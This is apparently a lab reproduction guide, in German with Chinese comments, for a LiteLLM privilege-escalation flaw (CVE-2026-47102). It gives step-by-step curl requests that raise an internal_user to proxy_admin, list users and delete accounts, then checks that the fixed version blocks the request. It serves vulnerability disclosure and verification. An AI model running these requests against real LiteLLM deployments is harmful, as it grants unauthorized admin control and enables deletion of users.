
Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle.
/user/updateLiteLLM v1.83.7 (vor v1.83.10) erlaubt der
/user/update-Endpunkt Benutzern mit niedrigen Rechten, die Zugriff auf diesen Endpunkt haben, beim Aktualisieren ihres eigenen Kontos das Felduser_roleaufproxy_adminzu ändern, was eine unbefugte Privilegienerweiterung ermöglicht.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Betroffen | LiteLLM < 1.83.10 (bestätigt für v1.83.7) |
| Behoben | v1.83.10+ (Berechtigungsprüfung für die Änderung des Felds user_role hinzugefügt) |
| Veröffentlicht | 2026-05-21 |
| Entdeckt von | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
Der /user/update-Endpunkt von LiteLLM dient zum Aktualisieren von Benutzerattributen. In den betroffenen Versionen prüft die Funktion can_user_call_user_update() von /user/update, ob der Benutzer berechtigt ist, den angegebenen Benutzer zu aktualisieren (Benutzer dürfen ihre eigenen Datensätze aktualisieren), legt jedoch keinerlei Einschränkungen für die änderbaren Felder fest.
Das bedeutet, dass jeder Benutzer mit Zugriff auf den /user/update-Endpunkt (z. B. ein Benutzer, dem der Administrator die Berechtigung für diese Route erteilt hat, oder ein Angreifer, der über eine andere Schwachstelle Zugriff auf diesen Endpunkt erlangt hat) durch Ändern seines eigenen user_role-Felds seine Rolle auf proxy_admin anheben und damit vollständigen Zugriff auf alle Verwaltungsendpunkte erlangen kann.
Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
→ internal_user 获得 route-level 访问权限
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ 角色提升为 proxy_admin
→ GET /user/list (验证管理员访问权限)
| Vergleichspunkt | CVE-2026-47101 | CVE-2026-47102 |
|---|---|---|
| Schwachstellenfokus | /key/generate prüft allowed_routes nicht | /user/update fehlt die Berechtigungsprüfung auf Feldebene |
| Angriffsvoraussetzung | internal_user kann /key/generate direkt aufrufen | Benötigt zuerst Zugriff auf die /user/update-Route |
| Behobene Version | v1.83.14 | v1.83.10 |
Die beiden Schwachstellen können miteinander verkettet werden: CVE-2026-47101 wird verwendet, um einen Wildcard-Routen-Key zu erstellen (Zugriff auf
/user/update), CVE-2026-47102 wird verwendet, um die eigene Rolle aufproxy_adminanzuheben.
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10
Die erwartete Ausgabe sollte Protokolle enthalten, die einen erfolgreichen Start anzeigen, z. B. Uvicorn running on http://0.0.0.0:4000.
Erstellen Sie mit dem Master-Key ein internal_user-Konto mit niedrigen Rechten:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Erwartete Ausgabe:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Der Administrator erstellt für den internal_user einen API-Key mit Zugriffsberechtigung für die Route /user/update. Dies ist die typische Art, in einer realen Umgebung Zugriff auf den /user/update-Endpunkt zu erhalten:
# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Erwartete Ausgabe:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Verwenden Sie den im vorherigen Schritt erhaltenen Key mit /user/update-Routenberechtigung, um die Benutzerrolle auf proxy_admin anzuheben:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Erwartete Ausgabe:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Schwachstelle:
user_rolewurde voninternal_useraufproxy_admingeändert! Der/user/update-Endpunkt erlaubt Benutzern, ihr eigenesuser_role-Feld ohne jegliche Berechtigungsprüfung auf Feldebene zu ändern.
Verifizieren Sie über den /user/list-Endpunkt, dass die Rollenanhebung wirksam ist (verwenden Sie den API-Key des ursprünglichen internal_user; dieser Key unterliegt keinen Routenrestriktionen und erhält nach der Anhebung auf proxy_admin automatisch Verwaltungsrechte):
# 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Erwartete Ausgabe:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Mit den erlangten proxy_admin-Rechten können über /user/delete beliebige Benutzer gelöscht werden (ebenfalls mit dem API-Key des ursprünglichen internal_user):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Erwartete Ausgabe:
1
Die obigen Schritte sind in demo.sh zusammengefasst und können direkt ausgeführt werden:
# 完整复现(包含漏洞版 + 修复版对比)
bash demo.sh
Starten Sie die behobene Version (v1.83.10-stable), um zu verifizieren, dass CVE-2026-47102 behoben wurde:
docker compose --profile fixed up -d litellm-fixed
internal_user erstellen:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Key mit /user/update-Route erstellen:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Versuchen Sie, die Rechte zu erweitern (erwartet: wird blockiert):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Erwartete Ausgabe (die behobene Version blockiert die unbefugte Anfrage):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Vergleich mit der verwundbaren Version: